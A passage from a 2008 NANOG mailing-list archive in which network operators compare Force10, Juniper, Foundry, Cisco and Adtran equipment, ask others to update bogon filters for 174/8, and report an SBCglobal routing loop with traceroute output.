time=5.376 ms 64 bytes from xxx.xxx.xxx.xxx: icmp_seq=6 ttl=252 time=12.170 ms 64 bytes from xxx.xxx.xxx.xxx: icmp_seq=7 ttl=252 time=1.106 ms 64 bytes from xxx.xxx.xxx.xxx: icmp_seq=8 ttl=252 time=8.089 ms 64 bytes from xxx.xxx.xxx.xxx: icmp_seq=9 ttl=252 time=0.715 ms 64 bytes from xxx.xxx.xxx.xxx: icmp_seq=10 ttl=252 time=3.758 ms 64 bytes from xxx.xxx.xxx.xxx: icmp_seq=11 ttl=252 time=10.636 ms The only other problem we've had with the E series is a BGP failure. The device failed over to its standby management module so the impact was limited. I don't hold that too much against them as I realize that no vendor is perfect. However the vast problems we've had with the S series and minor problems with the E bring into question the stability and unseen bugs with other software. <--snip--> Hopefully the above is helpful. I'm sure my experience isn't unique or the norm. If everyone was having issues similar to mine they'd be out of business. ========================================================== The most recent problem occuring today: %FIB6-2-FIB6_HW_WRITE_ERROR: Failed to write entry into Host table. Had to clear the fib in order to get communication with that host back up. Of all the vendors I've worked with this is by _far_ the longest list of issues I've ever come across. I'm glad that you're having better success than I am. Believe me I wish I was in the same boat. We've been using Foundry for a much longer period of time than we have Force10 and in comparison I personally no longer consider them comparable products. Regards, Chris From eric at atlantech.net Fri Jul 18 10:03:11 2008 From: eric at atlantech.net (Eric Van Tol) Date: Fri, 18 Jul 2008 11:03:11 -0400 Subject: Force10 E300 vs. Juniper MX480 In-Reply-To: <637214007.21061216391691222.JavaMail.root@dkny.pando.com> References: <466404861.21041216391372505.JavaMail.root@dkny.pando.com> <637214007.21061216391691222.JavaMail.root@dkny.pando.com> Message-ID: <2C05E949E19A9146AF7BDF9D44085B8635058ED6A1@exchange.aoihq.local> > -----Original Message----- > From: Keith O'neill [mailto:keith at pando.com] > Sent: Friday, July 18, 2008 10:35 AM > To: Chris Marlatt > Cc: nanog > Subject: Re: Force10 E300 vs. Juniper MX480 > > ... > Sure Foundry might be cheaper but I hear > more complaining about Foundry than any other platform. > I'd like to hear about the complaints regarding Foundry. Off-list is fine, as I believe this may be off-topic for NANOG. We've been considering using Foundry and during testing they seemed to work just fine, but as everyone knows, a lab environment rarely mimics real life. I found a few highly annoying quirks, most of them with the CLI (why are my config mode commands shown in my operational mode command history, including partial question-marked commands? argh!), but interoperability with both Juniper and Cisco in an MPLS lab environment didn't present any showstoppers. -evt From heighway at gmail.com Fri Jul 18 10:04:07 2008 From: heighway at gmail.com (Chris Heighway) Date: Fri, 18 Jul 2008 10:04:07 -0500 Subject: Force10 E300 vs. Juniper MX480 In-Reply-To: <4880AE33.2060505@rxsec.com> References: <637214007.21061216391691222.JavaMail.root@dkny.pando.com> <4880AE33.2060505@rxsec.com> Message-ID: I worked with many Foundry models for more than 4 years in the past and never had any real serious issues. They used to be a bit loud but other than that they are very easy to manage solid devices. Another great thing with Foundry (again in my experience) is the support. Any time I ever had a real issue one of their SE's would be on site quickly and with the knowledge needed to fix the problem. _Chric On Fri, Jul 18, 2008 at 9:52 AM, Chris Marlatt wrote: > Keith O'neill wrote: > >> Force 10 is fine. I do suggest he go with the dual cam cards over the >> regular cards. I am not sure what Chris is talking about but I have used >> Force 10 for a long time, E, C and S series and have found it very stable. >> It will do everything you want and then some. The E300 is a good bang for >> the buck. Sure Foundry might be cheaper but I hear more complaining about >> Foundry than any other platform. >> >> Chris you want to share what issues you have seen with Force 10. >> >> Keith >> >> ----- Original Message ----- >> From: "Chris Marlatt" >> To: "Joe Abley" >> Cc: "nanog" >> Sent: Friday, July 18, 2008 7:43:33 AM (GMT-0500) America/New_York >> Subject: Re: Force10 E300 vs. Juniper MX480 >> >> Joe Abley wrote: >> >>> Hi all, >>> >>> An acquaintance who runs an ISP with an M7i on its border is looking to >>> upgrade, because the M7i is starting to creak from all the flesh-tone MPEGs >>> his customers are sharing. (How times have changed. Back when I was chasing >>> packets, it was flesh-tone JPEGs.) >>> >>> He's looking at the MX480 and the E300. >>> >>> The MX480 is attractive because the M7i has been stable as a rock, and >>> he's familiar with JUNOS. >>> >>> The E300 is attractive because it's half the price of the MX480, and has >>> the potential to hold layer-2 cards as well as layer-3 ports which makes the >>> price per port much more reasonable than the MX480. But he has no experience >>> with Force10 at any ISO layer higher than 2. >>> >>> He doesn't have any exotic requirements beyond OSPF, OSPFv3, BGP, IP and >>> IPv6. There's no MPLS in the picture, for example. However, he's going to >>> want four or five full tables plus a moderate load of peering routes in >>> there. And maybe VRRP. >>> >>> Thoughts from people who have tried one or the other, or both? Or who >>> have faced this kind of problem, and came up with a different answer? >>> >>> Feel free to send mail off-list; I can summarise if there is interest. >>> >>> >>> Joe >>> >>> >> I would avoid Force10 if at all possible. In the network I managed I've >> had some fairly surprising stability problems with their S series switches >> and feature problems (or lack there of) on their E series. Things you kind >> of scratch your head at and wonder what they were thinking. Juniper on the >> other hand is indeed a bit pricier but quite a stable platform. If he has to >> look at alternatives I would suggest Foundry, either the RX-8, MLX-8, or >> XMR-8000 (depending on requirements) for comparable models to the MX480. >> >> Regards, >> >> Chris >> >> >> > Considering I just had another issue pop up sure - I'd be glad to at this > point. > > As provided to another member who contacted me off list: > ========================================================== > The S series problems were the worst - customer facing issues. <--snip-->. > The list is noted in SFTOS and FTOS. Our design required layer 3 code on the > S50N which "caused" some of these errors to present themselves: > > - SFTOS: Limit of 8 ACL's (total ACL line count). Secondary assignments on > the switch were "unprotected". > > - SFTOS: OSPF required a specific ACL to form an adjacency even with a > "default allow". > > - SFTOS: If an uplink went down with OSPF running (ECMP) when the link was > brought back up the OSPF adjacency would only form half way but would add a > route. A 50/50 chance of success was the result. > > - SFTOS: A "Transient Parity Error" crashed one of the S50's in production. > No known cause. > > - FTOS: The switch would lock during certain ARP operations (i.e. port > flap). A hard reboot was necessary to recover the switch. <--snip--> > > - FTOS: Random reboots preceded by "Low memory" errors. Our design would > not / could not have consumed all the switch memory. > > - FTOS: An upgrade from SFTOS to FTOS changes all the SNMP interface > indexes causing lots of internal software to no longer be able to poll > switch ports or monitor accurately. > > - FTOS: Hard lock of the switch after an STP root change. The root change > was not seen on any other switches (i.e. another bug in the S50 code) and > there were no events that should have caused a change in the topology. > > The E series has more stable but like I said lacking some features. The > most notable is the inability to do "normal" PBR. Pretty much any BGP > attribute can't be used to build a policy. We were forced to dedicate vlans > to certain policies as they could only match the traffic via an interface. > > A minor annoyance is the timing for the management cpu causing ping times > to look as though there is something wrong with the router. There's a paper > out there somewhere explaining the cause for this and it has to do with the > polling cycles of the board. > > A snippet of a ping to a routing interface: > 64 bytes from xxx.xxx.xxx.xxx: icmp_seq=4 ttl=252 time=0.640 ms > 64 bytes from xxx.xxx.xxx.xxx: icmp_seq=5 ttl=252 time=5.376 ms > 64 bytes from xxx.xxx.xxx.xxx: icmp_seq=6 ttl=252 time=12.170 ms > 64 bytes from xxx.xxx.xxx.xxx: icmp_seq=7 ttl=252 time=1.106 ms > 64 bytes from xxx.xxx.xxx.xxx: icmp_seq=8 ttl=252 time=8.089 ms > 64 bytes from xxx.xxx.xxx.xxx: icmp_seq=9 ttl=252 time=0.715 ms > 64 bytes from xxx.xxx.xxx.xxx: icmp_seq=10 ttl=252 time=3.758 ms > 64 bytes from xxx.xxx.xxx.xxx: icmp_seq=11 ttl=252 time=10.636 ms > > The only other problem we've had with the E series is a BGP failure. The > device failed over to its standby management module so the impact was > limited. I don't hold that too much against them as I realize that no vendor > is perfect. However the vast problems we've had with the S series and minor > problems with the E bring into question the stability and unseen bugs with > other software. <--snip--> > > Hopefully the above is helpful. I'm sure my experience isn't unique or the > norm. If everyone was having issues similar to mine they'd be out of > business. > ========================================================== > > The most recent problem occuring today: > %FIB6-2-FIB6_HW_WRITE_ERROR: Failed to write entry into Host table. > > Had to clear the fib in order to get communication with that host back up. > > Of all the vendors I've worked with this is by _far_ the longest list of > issues I've ever come across. I'm glad that you're having better success > than I am. Believe me I wish I was in the same boat. > > We've been using Foundry for a much longer period of time than we have > Force10 and in comparison I personally no longer consider them comparable > products. > > Regards, > > Chris > > From pstewart at nexicomgroup.net Fri Jul 18 10:18:12 2008 From: pstewart at nexicomgroup.net (Paul Stewart) Date: Fri, 18 Jul 2008 11:18:12 -0400 Subject: Cisco vs Adtran vs Juniper In-Reply-To: References: <637214007.21061216391691222.JavaMail.root@dkny.pando.com><4880AE33.2060505@rxsec.com> Message-ID: <89D27DE3375BB6428DDCC2927489826A0166CF01@nexus.nexicomgroup.net> Hi there.. I'm looking for some constructive feedback on **real world** experiences please... We're primarily a Cisco shop today - our core and distribution are all Cisco driven and will continue to be (won't change that so not worth discussing today). My question is oriented towards two other markets primarily: Security Devices Remote Office/Customer Site Devices Let me elaborate a bit more... Security - today, we've been deploying Cisco ASA boxes (was PIX before that) with pretty good success. However, in comparison to Juniper the Cisco boxes are *really* expensive - at least to us anyways. Juniper has nice products so I'm looking at proposing a solution internally to move towards the Juniper security appliances. Feedback from folks on them vs Cisco ASA?? Remote Office/Customer Site Devices - today, we do a lot of "managed routers" to customer sites. Again, cost driven, I'm being pushed towards looking at Adtran devices for customer sites that we maintain. I have nothing against Adtran but haven't viewed them to date as being in the same "arena" as Cisco/Juniper etc.. these routers are mainly providing basic firewalling/NAT and some very small VPN activity at times. To take this one step further, some of our voice folks are really enjoying the Adtran boxes as it offers an "all in one solution" which is a router, firewall, "voice" box (many options - PRI handoff, T1, FXS/FXO) and in some of their boxes 24 POE switch ports as well. This is kinda cool I'll admit but the approach in the past has been to drop in a Cisco router, Adtran for voice applications, and then Cisco POE switches if required. This is very costly compared to Adtran's all in one approach.... so am I being stubborn on this or is the Adtran products in this case in the same league?? I had some terrible track record with Adtran a number of years ago so my back gets up when their name is mentioned...;) Any feedback would be very appreciated - we're going to have meetings internally in the next while to decide which product lines fit with which service offerings the best.... Thanks, Paul ---------------------------------------------------------------------------- "The information transmitted is intended only for the person or entity to which it is addressed and contains confidential and/or privileged material. If you received this in error, please contact the sender immediately and then destroy this transmission, including all attachments, without copying, distributing or disclosing same. Thank you." From heighway at gmail.com Fri Jul 18 10:21:48 2008 From: heighway at gmail.com (Chris Heighway) Date: Fri, 18 Jul 2008 10:21:48 -0500 Subject: Cisco vs Adtran vs Juniper In-Reply-To: <89D27DE3375BB6428DDCC2927489826A0166CF01@nexus.nexicomgroup.net> References: <637214007.21061216391691222.JavaMail.root@dkny.pando.com> <4880AE33.2060505@rxsec.com> <89D27DE3375BB6428DDCC2927489826A0166CF01@nexus.nexicomgroup.net> Message-ID: On your last note Cisco also offers a all-in-one with all the features you talked about and more. They are called UC500's. _Chris On Fri, Jul 18, 2008 at 10:18 AM, Paul Stewart wrote: > Hi there.. > > I'm looking for some constructive feedback on **real world** experiences > please... > > We're primarily a Cisco shop today - our core and distribution are all > Cisco driven and will continue to be (won't change that so not worth > discussing today). > > My question is oriented towards two other markets primarily: > > Security Devices > Remote Office/Customer Site Devices > > Let me elaborate a bit more... > > Security - today, we've been deploying Cisco ASA boxes (was PIX before > that) with pretty good success. However, in comparison to Juniper the > Cisco boxes are *really* expensive - at least to us anyways. Juniper > has nice products so I'm looking at proposing a solution internally to > move towards the Juniper security appliances. Feedback from folks on > them vs Cisco ASA?? > > Remote Office/Customer Site Devices - today, we do a lot of "managed > routers" to customer sites. Again, cost driven, I'm being pushed > towards looking at Adtran devices for customer sites that we maintain. > I have nothing against Adtran but haven't viewed them to date as being > in the same "arena" as Cisco/Juniper etc.. these routers are mainly > providing basic firewalling/NAT and some very small VPN activity at > times. > > To take this one step further, some of our voice folks are really > enjoying the Adtran boxes as it offers an "all in one solution" which is > a router, firewall, "voice" box (many options - PRI handoff, T1, > FXS/FXO) and in some of their boxes 24 POE switch ports as well. This > is kinda cool I'll admit but the approach in the past has been to drop > in a Cisco router, Adtran for voice applications, and then Cisco POE > switches if required. This is very costly compared to Adtran's all in > one approach.... so am I being stubborn on this or is the Adtran > products in this case in the same league?? I had some terrible track > record with Adtran a number of years ago so my back gets up when their > name is mentioned...;) > > Any feedback would be very appreciated - we're going to have meetings > internally in the next while to decide which product lines fit with > which service offerings the best.... > > Thanks, > > Paul > > > > > > > ---------------------------------------------------------------------------- > > "The information transmitted is intended only for the person or entity to > which it is addressed and contains confidential and/or privileged material. > If you received this in error, please contact the sender immediately and > then destroy this transmission, including all attachments, without copying, > distributing or disclosing same. Thank you." > > From jra at baylink.com Fri Jul 18 10:29:59 2008 From: jra at baylink.com (Jay R. Ashworth) Date: Fri, 18 Jul 2008 11:29:59 -0400 Subject: OT: GBIC compatibility and pricing (was Managed, cheap, DC power switches) In-Reply-To: <20080717203144.GH7772@cgi.jachomes.com> References: <20080717150557.GC7402@cgi.jachomes.com> <20080717200517.GF7772@cgi.jachomes.com> <487FA889.2020808@rollernet.us> <20080717203144.GH7772@cgi.jachomes.com> Message-ID: <20080718152959.GA7484@cgi.jachomes.com> On Thu, Jul 17, 2008 at 04:31:44PM -0400, Jay R. Ashworth wrote: > Specifically, that rep (Bill Billings) told me that a *firware upgrade* > broke compatibility with the old GBICs, which *originally* worked, and > he ended up eating nearly 300 of them at one point. On a related topic, I walked the SNMP on the switch, and I don't see a way to read the SFF8472 DOM parameters out; anyone got a pointer? Cheers, -- jra -- Jay R. Ashworth Baylink jra at baylink.com Designer The Things I Think RFC 2100 Ashworth & Associates http://baylink.pitas.com '87 e24 St Petersburg FL USA http://photo.imageinc.us +1 727 647 1274 Those who cast the vote decide nothing. Those who count the vote decide everything. -- (Josef Stalin) From pstewart at nexicomgroup.net Fri Jul 18 10:47:57 2008 From: pstewart at nexicomgroup.net (Paul Stewart) Date: Fri, 18 Jul 2008 11:47:57 -0400 Subject: Cisco vs Adtran vs Juniper In-Reply-To: <192210E182B23C4D8DB22EAC53270A9F095BB8A5@brexc50p> References: <637214007.21061216391691222.JavaMail.root@dkny.pando.com><4880AE33.2060505@rxsec.com><89D27DE3375BB6428DDCC2927489826A0166CF01@nexus.nexicomgroup.net> <192210E182B23C4D8DB22EAC53270A9F095BB8A5@brexc50p> Message-ID: <89D27DE3375BB6428DDCC2927489826A0166CF20@nexus.nexicomgroup.net> Thanks guys so far for the responses.... Adtran has a 5 year warranty and support for free as of today - I'm not aware of this changing but we've had a number of other companies change that policy in the past couple of years after purchasing a LOT of gear from them (Motorola, Redline come to mind among others). Cisco has "lifetime hardware warranty" on some of their gear but nobody has ever been able to tell me what that *really* means and how you would ever get it covered if you did NOT have Smartnet coverage...;) UC500's - nice boxes ... pure cost issues around this one. You need to add a 24 port switch if you want some form of density at additional cost... makes it 3X the Adtran price so gets a lot of attention here... Keep it coming guys.. appreciate it... Paul -----Original Message----- From: Smith, Steve B [mailto:ss4414 at att.com] Sent: Friday, July 18, 2008 11:44 AM To: Chris Heighway; Paul Stewart Cc: nanog Subject: RE: Cisco vs Adtran vs Juniper And remember Adtran has a 5 year warranty and support for free. -----Original Message----- From: Chris Heighway [mailto:heighway at gmail.com] Sent: Friday, July 18, 2008 10:22 AM To: Paul Stewart Cc: nanog Subject: Re: Cisco vs Adtran vs Juniper On your last note Cisco also offers a all-in-one with all the features you talked about and more. They are called UC500's. _Chris On Fri, Jul 18, 2008 at 10:18 AM, Paul Stewart wrote: > Hi there.. > > I'm looking for some constructive feedback on **real world** > experiences please... > > We're primarily a Cisco shop today - our core and distribution are all > Cisco driven and will continue to be (won't change that so not worth > discussing today). > > My question is oriented towards two other markets primarily: > > Security Devices > Remote Office/Customer Site Devices > > Let me elaborate a bit more... > > Security - today, we've been deploying Cisco ASA boxes (was PIX before > that) with pretty good success. However, in comparison to Juniper the > Cisco boxes are *really* expensive - at least to us anyways. Juniper > has nice products so I'm looking at proposing a solution internally to > move towards the Juniper security appliances. Feedback from folks on > them vs Cisco ASA?? > > Remote Office/Customer Site Devices - today, we do a lot of "managed > routers" to customer sites. Again, cost driven, I'm being pushed > towards looking at Adtran devices for customer sites that we maintain. > I have nothing against Adtran but haven't viewed them to date as being > in the same "arena" as Cisco/Juniper etc.. these routers are mainly > providing basic firewalling/NAT and some very small VPN activity at > times. > > To take this one step further, some of our voice folks are really > enjoying the Adtran boxes as it offers an "all in one solution" which > is a router, firewall, "voice" box (many options - PRI handoff, T1, > FXS/FXO) and in some of their boxes 24 POE switch ports as well. This > is kinda cool I'll admit but the approach in the past has been to drop > in a Cisco router, Adtran for voice applications, and then Cisco POE > switches if required. This is very costly compared to Adtran's all in > one approach.... so am I being stubborn on this or is the Adtran > products in this case in the same league?? I had some terrible track > record with Adtran a number of years ago so my back gets up when their > name is mentioned...;) > > Any feedback would be very appreciated - we're going to have meetings > internally in the next while to decide which product lines fit with > which service offerings the best.... > > Thanks, > > Paul > > > > > > > ---------------------------------------------------------------------- > ------ > > "The information transmitted is intended only for the person or entity > to which it is addressed and contains confidential and/or privileged material. > If you received this in error, please contact the sender immediately > and then destroy this transmission, including all attachments, without > copying, distributing or disclosing same. Thank you." > > ***** The information transmitted is intended only for the person or entity to which it is addressed and may contain confidential, proprietary, and/or privileged material. Any review, retransmission, dissemination or other use of, or taking of any action in reliance upon this information by persons or entities other than the intended recipient is prohibited. If you received this in error, please contact the sender and delete the material from all computers. GA622 From eric at atlantech.net Fri Jul 18 10:49:58 2008 From: eric at atlantech.net (Eric Van Tol) Date: Fri, 18 Jul 2008 11:49:58 -0400 Subject: Cisco vs Adtran vs Juniper In-Reply-To: <89D27DE3375BB6428DDCC2927489826A0166CF01@nexus.nexicomgroup.net> References: <637214007.21061216391691222.JavaMail.root@dkny.pando.com><4880AE33.2060505@rxsec.com> <89D27DE3375BB6428DDCC2927489826A0166CF01@nexus.nexicomgroup.net> Message-ID: <2C05E949E19A9146AF7BDF9D44085B8635058ED6A5@exchange.aoihq.local> > -----Original Message----- > From: Paul Stewart [mailto:pstewart at nexicomgroup.net] > Sent: Friday, July 18, 2008 11:18 AM > To: nanog > Subject: Cisco vs Adtran vs Juniper > > Hi there.. > > I'm looking for some constructive feedback on **real world** > experiences > please... We use all three, so hopefully my experience can help. > We're primarily a Cisco shop today - our core and distribution are > all > Cisco driven and will continue to be (won't change that so not worth > discussing today). > > My question is oriented towards two other markets primarily: > > Security Devices > Remote Office/Customer Site Devices > > Let me elaborate a bit more... > > Security - today, we've been deploying Cisco ASA boxes (was PIX > before > that) with pretty good success. However, in comparison to Juniper > the > Cisco boxes are *really* expensive - at least to us anyways. Juniper > has nice products so I'm looking at proposing a solution internally > to > move towards the Juniper security appliances. Feedback from folks on > them vs Cisco ASA?? They both have their pros and cons, obviously. The ASA is a big step in the right direction from the PIX. SSL VPN capabilities, antivirus, and minimal IDS. Juniper SSGs don't do SSL VPN, but do antivirus, antispam, expandable ports (on the SSG-20) for T1/ADSL/ISDN, etc. We use more PIX and Juniper than ASA, but from what I've seen, the ASA is pretty decent. VPN upgrades are expensive, as are other various licenses. The Juniper SSG is also nice and reliable, but the web GUI sucks. It works on some computers and not others and it's all dependent upon stupid Java, so you'll have to learn the CLI in order to reliably do anything with them. Also, they charge you for their IPSec VPN client, which is nickel-and-diming, if you ask me. When you do install it, you can't have it co-exist with the Cisco VPN client, at least not a couple years ago when I tried it. We're split pretty evenly between Cisco and Juniper boxes and are happy with both. It all really depends on the services you want to sell or support for your customers, as each box can do different things. > Remote Office/Customer Site Devices - today, we do a lot of "managed > routers" to customer sites. Again, cost driven, I'm being pushed > towards looking at Adtran devices for customer sites that we > maintain. > I have nothing against Adtran but haven't viewed them to date as > being > in the same "arena" as Cisco/Juniper etc.. these routers are mainly > providing basic firewalling/NAT and some very small VPN activity at > times. Both Cisco and Juniper offer great options for this. CPE from both is typically very solid. Juniper has the added benefit of being able to convert their J-series boxes to Netscreen SSG firewalls and the cards are interchangeable between the security/J-series platforms. Of course, this does cost you in license fees. NAT on the J-series is a pain to set up and unfortunately, the default 256M flash on them is just too small to support an easy JUNOS upgrade. The Adtran routers are very Cisco-like. Haven't done VPN and last time (years ago) we used the firewall, it continually crashed the router. I'm sure things have improved. Main reason to use Adtran is price. I'm personally more biased towards Juniper because JUNOS blows IOS out of the water, but Cisco CPE in our experience is very reliable. Believe it or not, we still have 2500s out in the field! > To take this one step further, some of our voice folks are really > enjoying the Adtran boxes as it offers an "all in one solution" which > is > a router, firewall, "voice" box (many options - PRI handoff, T1, > FXS/FXO) and in some of their boxes 24 POE switch ports as well. > This > is kinda cool I'll admit but the approach in the past has been to > drop > in a Cisco router, Adtran for voice applications, and then Cisco POE > switches if required. This is very costly compared to Adtran's all > in > one approach.... so am I being stubborn on this or is the Adtran > products in this case in the same league?? I had some terrible track > record with Adtran a number of years ago so my back gets up when > their > name is mentioned...;) Adtran makes *decent* products. We have hundreds of 900s and 600s deployed and physical/network stability is excellent. With VoIP, they are reliable and depending on what type of signalling you're using them with, along with what type of softswitch, you might see some bugs and have to provide their support with debug info. The SNMP support on them is pretty horrible, though. We use the TotalAccess 600s and 900s, but I've tested the NetVanta switch before. It's a decent switch, but I couldn't attest to its voice capabilities as we were only testing PoE and basic layer-2 and layer-3 capabilities at the time. One awesome thing about Adtran is their support - they do have a good support team and have 10-year warranties on their products. And one more annoying thing about them - console access is done by proprietary DB-9 connectors and cables which they don't actually ship with the boxes. As for the Cisco VoIP solution, I can tell you that we investigated Cisco a couple years ago and their solutions were so cost-prohibitive that it was an impossibility for our customer base. They also required a certified CVP on-staff just to be able to order certain equipment. Not sure if that's changed over the years, but it was not an option for us at all at the time. -evt From eric at atlantech.net Fri Jul 18 10:53:01 2008 From: eric at atlantech.net (Eric Van Tol) Date: Fri, 18 Jul 2008 11:53:01 -0400 Subject: Cisco vs Adtran vs Juniper In-Reply-To: <89D27DE3375BB6428DDCC2927489826A0166CF20@nexus.nexicomgroup.net> References: <637214007.21061216391691222.JavaMail.root@dkny.pando.com><4880AE33.2060505@rxsec.com><89D27DE3375BB6428DDCC2927489826A0166CF01@nexus.nexicomgroup.net> <192210E182B23C4D8DB22EAC53270A9F095BB8A5@brexc50p> <89D27DE3375BB6428DDCC2927489826A0166CF20@nexus.nexicomgroup.net> Message-ID: <2C05E949E19A9146AF7BDF9D44085B8635058ED6A6@exchange.aoihq.local> > -----Original Message----- > From: Paul Stewart [mailto:pstewart at nexicomgroup.net] > Sent: Friday, July 18, 2008 11:48 AM > To: Smith, Steve B; Chris Heighway > Cc: nanog > Subject: RE: Cisco vs Adtran vs Juniper > > Thanks guys so far for the responses.... > > Adtran has a 5 year warranty and support for free as of today - I'm > not > aware of this changing but we've had a number of other companies > change > that policy in the past couple of years after purchasing a LOT of > gear > from them (Motorola, Redline come to mind among others). > I thought this was 10 years, but if not, I do apologize. They may have changed it to 5 "recently?"...I've always been led to believe by my highly cost-sensitive superiors that it's 10 years, but they often get things wrong just to get us to purchase the most "cost-effective" product out there. ;-) -evt From pstewart at nexicomgroup.net Fri Jul 18 10:55:44 2008 From: pstewart at nexicomgroup.net (Paul Stewart) Date: Fri, 18 Jul 2008 11:55:44 -0400 Subject: Cisco vs Adtran vs Juniper In-Reply-To: <2C05E949E19A9146AF7BDF9D44085B8635058ED6A6@exchange.aoihq.local> References: <637214007.21061216391691222.JavaMail.root@dkny.pando.com><4880AE33.2060505@rxsec.com><89D27DE3375BB6428DDCC2927489826A0166CF01@nexus.nexicomgroup.net><192210E182B23C4D8DB22EAC53270A9F095BB8A5@brexc50p> <89D27DE3375BB6428DDCC2927489826A0166CF20@nexus.nexicomgroup.net> <2C05E949E19A9146AF7BDF9D44085B8635058ED6A6@exchange.aoihq.local> Message-ID: <89D27DE3375BB6428DDCC2927489826A0166CF27@nexus.nexicomgroup.net> It could be 10 years.. not 100% sure .... 5 or 10 still makes a dent in Cisco's approach to be honest... Still wondering if anyone knows how the Cisco lifetime warranty really works...? Thanks again, Paul -----Original Message----- From: Eric Van Tol [mailto:eric at atlantech.net] Sent: Friday, July 18, 2008 11:53 AM To: Paul Stewart; Smith, Steve B; Chris Heighway Cc: nanog Subject: RE: Cisco vs Adtran vs Juniper > -----Original Message----- > From: Paul Stewart [mailto:pstewart at nexicomgroup.net] > Sent: Friday, July 18, 2008 11:48 AM > To: Smith, Steve B; Chris Heighway > Cc: nanog > Subject: RE: Cisco vs Adtran vs Juniper > > Thanks guys so far for the responses.... > > Adtran has a 5 year warranty and support for free as of today - I'm > not > aware of this changing but we've had a number of other companies > change > that policy in the past couple of years after purchasing a LOT of > gear > from them (Motorola, Redline come to mind among others). > I thought this was 10 years, but if not, I do apologize. They may have changed it to 5 "recently?"...I've always been led to believe by my highly cost-sensitive superiors that it's 10 years, but they often get things wrong just to get us to purchase the most "cost-effective" product out there. ;-) -evt No virus found in this incoming message. Checked by AVG - http://www.avg.com Version: 8.0.138 / Virus Database: 270.5.1/1560 - Release Date: 7/18/2008 6:47 AM ---------------------------------------------------------------------------- "The information transmitted is intended only for the person or entity to which it is addressed and contains confidential and/or privileged material. If you received this in error, please contact the sender immediately and then destroy this transmission, including all attachments, without copying, distributing or disclosing same. Thank you." From sob at academ.com Fri Jul 18 11:01:19 2008 From: sob at academ.com (Stan Barber) Date: Fri, 18 Jul 2008 11:01:19 -0500 (CDT) Subject: Bogon Filter Update Request Message-ID: <200807181601.m6IG1Jc4053468@academ.com> Greetings NANOGers, Yes, I know it has been many years since I have been more than a lurker here on the NANOG list. It is gratifying to see the group continue to facilitate discussions among those that "get it done" in keeping the Internet up and running. Recently, I have moved back into a more operational role and I hope to renew my involvement here as I settle back in. So, to the point of my note: Bogon filter updates! I want to tell you that I am very appreciative of those operators out there that follow the changes in status of IP space and keep there BOGON filters updated. Unfortunately, it appears that there are many that are not doing this regularly. I have been working on getting BOGON filter updates for the 174/8 space (IANA allocated this to ARIN back in February) with upwards of 35 providers (some of the Tier 1 providers are among these) over the last several weeks. Please help me (and others who are getting allocations) by reviewing your BOGON filters and insure you are really filtering out BOGONs and not space that is allocated. If you need a pointer, the authorataive list is maintained at http://www.iana.org/assignments/ipv4-address-space. Thanks for your attention and I hope to see some of you at an upcoming NANOG meeting. Stan Barber sob at academ.com (called "the other SOB on the Internet" by Scott Bradner many years ago in his first column for Network World magazine) From hannigan at verneglobal.com Fri Jul 18 11:02:38 2008 From: hannigan at verneglobal.com (Martin Hannigan) Date: Fri, 18 Jul 2008 16:02:38 -0000 Subject: Force10 E300 vs. Juniper MX480 In-Reply-To: <2C05E949E19A9146AF7BDF9D44085B8635058ED6A1@exchange.aoihq.local> References: <466404861.21041216391372505.JavaMail.root@dkny.pando.com><637214007.21061216391691222.JavaMail.root@dkny.pando.com> <2C05E949E19A9146AF7BDF9D44085B8635058ED6A1@exchange.aoihq.local> Message-ID: > -----Original Message----- > From: Eric Van Tol [mailto:eric at atlantech.net] > Sent: Friday, July 18, 2008 11:03 AM > To: 'Keith O'neill' > Cc: nanog > Subject: RE: Force10 E300 vs. Juniper MX480 > > > -----Original Message----- > > From: Keith O'neill [mailto:keith at pando.com] > > Sent: Friday, July 18, 2008 10:35 AM > > To: Chris Marlatt > > Cc: nanog > > Subject: Re: Force10 E300 vs. Juniper MX480 > > > > ... > > Sure Foundry might be cheaper but I hear > > more complaining about Foundry than any other platform. > > > > I'd like to hear about the complaints regarding Foundry. Off-list is > fine, as I believe this may be off-topic for NANOG. We've been > considering using Foundry and during testing they seemed to work just > fine, but as everyone knows, a lab environment rarely mimics real life. > I found a few highly annoying quirks, most of them with the CLI (why > are my config mode commands shown in my operational mode command > history, including partial question-marked commands? argh!), but > interoperability with both Juniper and Cisco in an MPLS lab environment > didn't present any showstoppers. > http://puck.nether.net/mailman/listinfo/ The CLI quirks are much lower on the totem pole than cost or performance. Best Regards, -M< From logan.rawlins at highwinds.com Fri Jul 18 12:30:30 2008 From: logan.rawlins at highwinds.com (Logan Rawlins) Date: Fri, 18 Jul 2008 10:30:30 -0700 Subject: SBCglobal routing loop. Message-ID: <8CBFB4F0-AF6E-4AAF-8FA0-5CDE65505592@highwinds.com> Anyone from sbcglobal out there? i'm seeing a routing loop. Please contact me off list thanks. sourceip: 69.16.137.66 tracert 75.58.215.133 Tracing route to adsl-75-58-215-133.dsl.hstntx.sbcglobal.net [75.58.215.133] over a maximum of 30 hops: 1 2 ms <1 ms <1 ms 192.168.113.1 2 1 ms 2 ms 2 ms 69.16.137.66 3 1 ms 2 ms 2 ms e-2-21-1000m.core-04.phx2.puregig.net [69.16.128 .110] 4 2 ms 2 ms 5 ms v303.ar1.ph.hwng.net [69.16.128.137] 5 1 ms 1 ms 2 ms ve1011.r2.ph.hwng.net [69.16.190.161] 6 11 ms 20 ms 11 ms 2-1.r1.la.hwng.net [69.16.191.37] 7 12 ms 11 ms 11 ms vl101.ar1.lax1.us.nlayer.net [69.31.127.29] 8 11 ms 11 ms 11 ms ae0-60.cr1.lax1.us.nlayer.net [69.31.127.165] 9 11 ms 11 ms 11 ms ex1-g12-0.eqlaca.sbcglobal.net [69.31.127.50] 10 11 ms 11 ms 11 ms 151.164.188.139 11 11 ms 11 ms 11 ms bb2-p14-0.scrm01.sbcglobal.net [151.164.188.138] 12 11 ms 11 ms 11 ms 151.164.188.139 13 11 ms 11 ms 11 ms bb2-p14-0.scrm01.sbcglobal.net [151.164.188.138] 14 14 ms 11 ms 11 ms 151.164.188.139 15 11 ms 11 ms 11 ms bb2-p14-0.scrm01.sbcglobal.net [151.164.188.138] 16 11 ms 11 ms 11 ms 151.164.188.139 17 11 ms 12 ms 11 ms bb2-p14-0.scrm01.sbcglobal.net [151.164.188.138] 18 11 ms 11 ms 11 ms 151.164.188.139 19 12 ms 11 ms 11 ms bb2-p14-0.scrm01.sbcglobal.net [151.164.188.138] 20 12 ms 11 ms 11 ms 151.164.188.139 21 11 ms 11 ms 12 ms bb2-p14-0.scrm01.sbcglobal.net [151.164.188.138] 22 11 ms 11 ms 11 ms 151.164.188.139 23 14 ms 11 ms 12 ms 